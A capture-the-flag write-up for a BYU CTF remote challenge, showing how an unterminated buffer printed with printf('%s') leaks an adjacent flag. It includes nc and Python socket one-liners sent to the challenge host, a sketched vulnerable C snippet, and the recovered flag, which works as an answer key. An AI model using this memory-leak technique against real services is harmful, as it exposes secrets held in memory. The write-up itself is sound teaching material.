

## Description

"Flag is in the program on the remote server, if only there was a way to make it a little more leaky"

Target:

chals.cyberjousting.com:1366

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## Recon

Connecting to the service:

```
nc chals.cyberjousting.com 1366
```

Output:

I've got the flag securely locked up, anything you want to say to it?

The service echoes back our input.

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## Finding the Bug

Sending a long string:

```
python3 -c 'print("A"*50,end="")' | nc chals.cyberjousting.com 1366
```

Output:

You said:

```
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA_is_one_of_my_favorite_words_lo!
```

Notice that after our 50 A's, extra memory is printed.

This indicates the program is likely printing a buffer as a C string without ensuring it is NULL-terminated.

Something similar to:

```
char buf[32];
```

```
read(0, buf, 50);  
printf("%s", buf);
```

Since no null byte exists inside our input, `printf("%s")` continues reading adjacent memory until it encounters a `\0`.

The flag is stored immediately after the buffer in memory.

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## Exploitation

Reduce the number of A's so fewer flag characters are overwritten.

50 bytes:

```
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA_is_one_of_my_fav  
orite_words lol}
```

49 bytes:

```
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAt_is_one_of_my_favor  
ite_words lol}
```

Keep decreasing.

At 32 bytes:

```
python3 -c 'import socket; s=socket.create_connection(("chals.cyberjousting.com",1366));  
s.recv(4096); s.sendall(b"A"*32); print(s.recv(8192).decode())'
```

Output:

You said:

```
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAbyuctf{incontinent_is_one_of_my_favorite_word  
s_lol}
```

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## Flag

```
byuctf{incontinent_is_one_of_my_favorite_words_lol}
```

```
(kali㉿kali)-[~/Desktop/ctf]  
$ python3 -c 'import socket; s=socket.create_connection(("chals.cyberjousting.com",1366)); s.  
recv(4096); s.sendall(b"A"*32); print(s.recv(8192).decode())'  
You said: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAbyuctf{incontinent_is_one_of_my_favorite_words_lol}  
Have a nice day
```